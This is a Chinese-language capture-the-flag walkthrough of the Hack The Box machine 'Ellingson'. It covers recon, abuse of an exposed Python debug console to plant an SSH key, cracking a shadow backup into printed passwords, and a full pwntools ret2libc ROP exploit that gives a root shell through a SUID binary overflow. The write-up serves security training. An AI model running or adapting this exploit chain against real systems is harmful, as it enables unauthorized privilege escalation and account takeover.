Hack the box-Ellingson

admin 2022年7月13日10:22:44评论15 views字数 2395阅读7分59秒阅读模式


大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Ellingson”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为困难级别,任务是找到靶机上的user.txt和root.txt。

 

00x01  信息枚举

利用masscan探测开放端口
找到了2280端口

Hack the box-Ellingson

Nmap探测22,80的服务信息

 

Hack the box-Ellingson

00x02  漏洞利用

收集不到什么特殊信息,80端口的http服务往往都是突破口,我们先从80web下手

从页面源码中看到了几个链接,并对链接的参数进行猜测

 

Hack the box-Ellingson

Fuzz /articles/? 使程序出错发现python交互调试页面。

利用os.uname(),发现目标系统信息,并利用whoamipwd找到用户和目标系统的当前路径

 

Hack the box-Ellingson

Hack the box-Ellingson

根据收集到的信息,我们可以将ssh公钥写入到目标的authroized_keys文件上实现免密登录


Hack the box-Ellingson


00x03  低权限shell

成功登录到hal
在枚举hal账号的时候我们可以发现hal的用户组是adm,所以说我们有权限可以查看shadow.bak备份文件
 

Hack the box-Ellingson

利用john跑密码
我们最终会得到两个账号(由于复现时间问题,我就不把密码再跑一次了)
theplague--password123
margo--iamgod$08
 

Hack the box-Ellingson


user.txt手到擒来, ^o^

 

Hack the box-Ellingson

 

00x04  权限提升

 

Hack the box-Ellingson

我们找到garbage可执行文件
gdb查看check_user函数发现,1002 (margo)0 (root)theplague (1000)都可执行该文件
 

Hack the box-Ellingson


利用ltrace绕过访问密码进入控制台查看密码为N3veRF3@r1iSh3r3!
 

Hack the box-Ellingson


gdb调试发现了get危险函数,由于缺少大小检查而导致缓冲区溢出。
 

Hack the box-Ellingson


*main+41进入auth函数后,这里的返回地址位于堆栈的顶部。注意堆栈地址。
在这里,我们有stdin存储字符的缓冲区。请注意,我们呢还没执行该功能。
 

Hack the box-Ellingson

只需计算两个内存地址之间的差,即可获得控制返回地址所需的偏移量。现在,偏移量是136个字节。
 

Hack the box-Ellingson

为了进一步证明我们确实可以控制返回地址,让我们像这样创建一个输入文件。
# perl -e 'print "A" x 136 . "B" x 6' > input
 

Hack the box-Ellingson


exp编写

exp利用将为我们提供一个交互式root shell

 

from pwn import *                                                                                                                                                                                              

import binascii

context(terminal=["tmux", "new-windows"])

context(os="linux", arch="amd64")

s = ssh(host="10.10.10.139", user="margo", password="iamgod$08")

p = s.process("garbage")

junk = 'A' * 136

plt_main = p64(0x401619)

plt_puts = p64(0x401050)

got_puts = p64(0x404028)

pop_rdi  = p64(0x40179b)

pop_rsi  = p64(0x401799)

payload = junk + pop_rdi + got_puts + plt_puts + plt_main

p.sendline(payload)

p.recvuntil("access denied.")

leaked_puts = p.recv()[:8].strip().ljust(8, "x00")

log.success("Leaked puts@GLIBC:  " + "0x" + binascii.hexlify(leaked_puts).decode("hex")[::-1].encode("hex"))

eaked_puts = u64(leaked_puts)

off_puts = 0x809c0

off_sys  = 0x4f440

off_exe  = 0xe4fa0

off_sh   = 0x1b3e9a

off_suid = 0xe5970

base_libc = leaked_puts - off_puts

log.success("GLIBC base address: " + "0x" + binascii.hexlify(p64(base_libc)).decode("hex")[::-1].encode("hex"))

libc_exe  = p64(base_libc + off_exe)

libc_sys  = p64(base_libc + off_sys)

libc_sh   = p64(base_libc + off_sh)

libc_suid = p64(base_libc + off_suid)

payload = junk + pop_rdi + p64(0) + libc_suid + pop_rdi + libc_sh + pop_rsi + p64(0) + p64(0xdeadbeef) + libc_exe

p.sendline(payload)

p.recvuntil("access denied.")

log.success("Enjoy your shell!")

p.interactive()

 

获取root.txt

 

Hack the box-Ellingson

root权限提升部分参考自https://hackso.me/ellingson-htb-walkthrough/


本文始发于微信公众号(Khan安全攻防实验室):Hack the box-Ellingson

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日10:22:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hack the box-Ellingsonhttp://cn-sec.com/archives/536624.html

发表评论

匿名网友 填写信息